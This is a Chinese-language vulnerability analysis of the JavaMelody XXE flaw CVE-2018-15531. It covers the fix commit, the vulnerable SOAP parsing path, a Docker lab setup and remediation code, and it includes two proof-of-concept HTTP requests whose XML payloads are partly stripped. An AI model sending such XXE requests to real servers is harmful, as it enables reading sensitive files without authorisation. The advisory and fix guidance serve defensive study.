java最新漏洞_JavaMelody XXE漏洞(CVE-2018-15531)分析

java最新漏洞_JavaMelody XXE漏洞(CVE-2018-15531)分析0x01背景JavaMelody是一款在生产和QA环境中对JAVA应用以及应用服务器(Tomcat、Jboss、Weblogic)进行监控的工具,可以通过图表给出监控数据,方便研发运维等找出响应瓶颈、优化响应等。近日发布了1.74.0版本,修复了一个XXE漏洞,漏洞编号CVE-2018-15531。攻击者利用漏洞,可以读取JavaMelody服务器上的敏感信息。0x02漏洞分析漏洞修复的com…

大家好,又见面了,我是你们的朋友全栈君。

0x01 背景

JavaMelody是一款在生产和QA环境中对JAVA应用以及应用服务器(Tomcat、Jboss、Weblogic)进行监控的工具,可以通过图表给出监控数据,方便研发运维等找出响应瓶颈、优化响应等。

近日发布了1.74.0版本,修复了一个XXE漏洞,漏洞编号CVE-2018-15531。攻击者利用漏洞,可以读取JavaMelody服务器上的敏感信息。

0x02 漏洞分析

漏洞修复的commit地址如下:

增加了两行代码,作用分别是禁用DTD和禁用外部实体,如图所示:

de274cbcdbd3eaa2389799a37f63ae44.png

增加这两行代码之后,攻击者就无法使用XXE漏洞来进行文件读取。

查看修复前的代码文件src/main/java/net/bull/javamelody/PayloadNameRequestWrapper.java,如图:

a9836fdbd7411c6fb1724314b4731fa9.png

使用StAX来对XML进行解析,未禁用DTDs和外部实体,再看看那些地方调用了parseSoapMethodName()方法,如图:

46d97ac7c0e5b4e0418cb62199a13870.png

其中PayloadNameRequestWrapper类的initialize()方法有进行调用,代码片段如下:

a7a35a24008665f9f5751e5f13e798fb.png

从HTTP请求获取请求的Content-Type,如果满足如下两个条件中的任意一个:

1、Content-Type的值为“application/soap+xml”;

2、Content-Type的值为“text/xml”,且HTTP头部中有”SOAPAction”。

就会调用parseSoapMethodName()方法对请求内容进行解析处理,攻击者可以控制Content-Type、请求内容等,最终导致XXE漏洞的产生。

0x03 漏洞测试

漏洞环境搭建

1、docker pull tomcat;

2、修改tomcat镜像,commit为一个新的漏洞环境;

3、下载测试使用的应用包,解压之后将test目录移动到/usr/local/tomcat/webapps目录下,下载地址:

4、下载javamelody-core-1.73.1.jar版本,重命名为javamelody.jar,放到/usr/local/tomcat/webapps/test/WEB-INF/lib/目录下,下载地址:

5、启动tomcat;

6、docker commit生成新的镜像。

漏洞复现

根据对漏洞的分析,可以构造漏洞测试的Http请求,分别如下:POST /test/ HTTP/1.1

Host: 127.0.0.1:8888

Content-Type: text/xml; charset=”utf-8″

SOAPAction: sdfsdfdsf

User-Agent: Mozilla/5.0(Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/68.0.3440.106Safari/537.36

Accept-Encoding: gzip, deflate

Cookie: _ga=GA1.1.1433684353.1533281809; settingStore=1533281841189_0;   ECS[visit_times]=9;   JSESSIONID=CA4182172E388BED1933F3849E846492

Connection: close

Content-Length:142

%aad;

%c;]

>

POST /test/ HTTP/1.1

Host:139.199.99.172:8888

Content-Type: application/soap+xml; charset=”utf-8″

User-Agent: Mozilla/5.0(Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/68.0.3440.106Safari/537.36

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: _ga=GA1.1.1433684353.1533281809; settingStore=1533281841189_0; ECS[visit_times]=9;   JSESSIONID=CA4182172E388BED1933F3849E846492

Connection: close

Content-Length:142

%aad;

%c;]

>

调用了外部实体,根据外部实体请求URL的的日志记录,就可以判断自有业务是否存在漏洞,如图所示:

31b6846e597539a6a1339b733b190501.png

0x04 修复建议

1、升级JavaMelody到1.74.0版本;

2、按照官方漏洞修复方法,使用StAX对XML进行解析时,增加禁用DTDs和外部实体的代码,如下:finalXMLInputFactory   factory = XMLInputFactory.newInstance();

//禁用DTD

factory.setProperty(XMLInputFactory.SUPPORT_DTD,false);

//禁用外部实体

factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES,false);

finalXMLStreamReader   xmlReader;

0x05 参考链接

本文来自百度安全SiemPent Team,转载请注明出处及本文链接

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/156661.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • 如何配置java环境变量_java环境变量怎么配置

    如何配置java环境变量_java环境变量怎么配置我们在学习java的时候,必须先来配置一下java的环境变量,也许你不懂什么是java环境变量,我们也不需要懂,你只要知道,java环境变量配置好了,你的电脑就能编译和运行java程序了,这显然是你想要的,好了,下面请跟我一起来做吧!1.首先,我们需要下载JDK安装包,你可以在www.sun.java.com上下载2.然后安装jdk,在安装的过程中选择【开发工具】,记住JDK安装位置。由于这个比较…

  • powerbi怎么连接数据库_手机数据库APP

    powerbi怎么连接数据库_手机数据库APPbWAPP安装包下载:https://sourceforge.net/projects/bwapp/在已经安装好lamp环境的虚拟机上,将bWAPP安装包解压后放在/var/www/html目录下,更改配置文件/bWAPP/admin/下的settings.php文件,如图:访问一下:https://172.17.8.123/bWAPP/bWAPP/install.phphttps://IP地址/html下的bWAPP文件夹/bWAPP/install.php点击安装bWAPP:安装成功:点击

  • win10edge启用html5,edge浏览器如何启用flash?win10 Edge浏览器禁用flash方法

    win10edge启用html5,edge浏览器如何启用flash?win10 Edge浏览器禁用flash方法Win10系统中新的默认浏览器Edge已经足够快了,如果想让它更快,可以禁用浏览器里面的Flash动画播放功能来帮助达到更快的上网体验,今天小编就向大家介绍一下Edge浏览器中Flash启用与禁用简单步骤。希望大家会喜欢。win10系统edge浏览器启用和禁用的方法:我们用Windows10的新Edge浏览器打开网页,如果这个网页上有Flash播放的声音、视频内容,在其标签…

  • 嵌入式linux系统移植实验报告_嵌入式移植的分类

    嵌入式linux系统移植实验报告_嵌入式移植的分类嵌入式Linux移植实验实验目的:1.掌握交叉编译环境的建立和使用;2.熟悉Linux开发环境,掌握Linux内核的配置和裁减;3.了解Linux的启动过程。 实验内容:1.了解Linux基础知识以及Linux开发环境;2.根据教学实验系统的硬件资源,配置并编译Linux核心;3.下载并运行Linux核心,检查运行结果。实验步骤要求:记录实验中编译Linux核心、下载运行Linux的过…

  • 关于净推荐值(NPS)的理解

    关于净推荐值(NPS)的理解NPS在产品领域用来衡量用户对产品体验的评价情况,同时也可以用在某个员工在公司受到大家的评价情况,类似等等。本文将主要关注在产品领域。如何衡量你的用户对产品的使用满意度呢?NPS就是一个非常重要的标准。那么,如何搭建NPS模型,利用NPS指标更加直观、具体地完成用户调研呢?以下,笔者将详细为大家讲述。现在几乎所有的互联网公司,都会说:“以用户为中心”,那到底是什么以用户为中心?…

  • a标签如何打开新窗口_a标签怎么跳转页面

    a标签如何打开新窗口_a标签怎么跳转页面a标签打开新窗口只需要在a标签后面加target=”_blank”<ahref=”index.html”target=”_blank”>跳转到新窗口打开</a>扩展:a标签后面加target=”_self”是此窗口默认打开(这个属性是默认的)<ahref=”index.html”target=”_self”>此窗口打开</a>…

    2022年10月26日

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号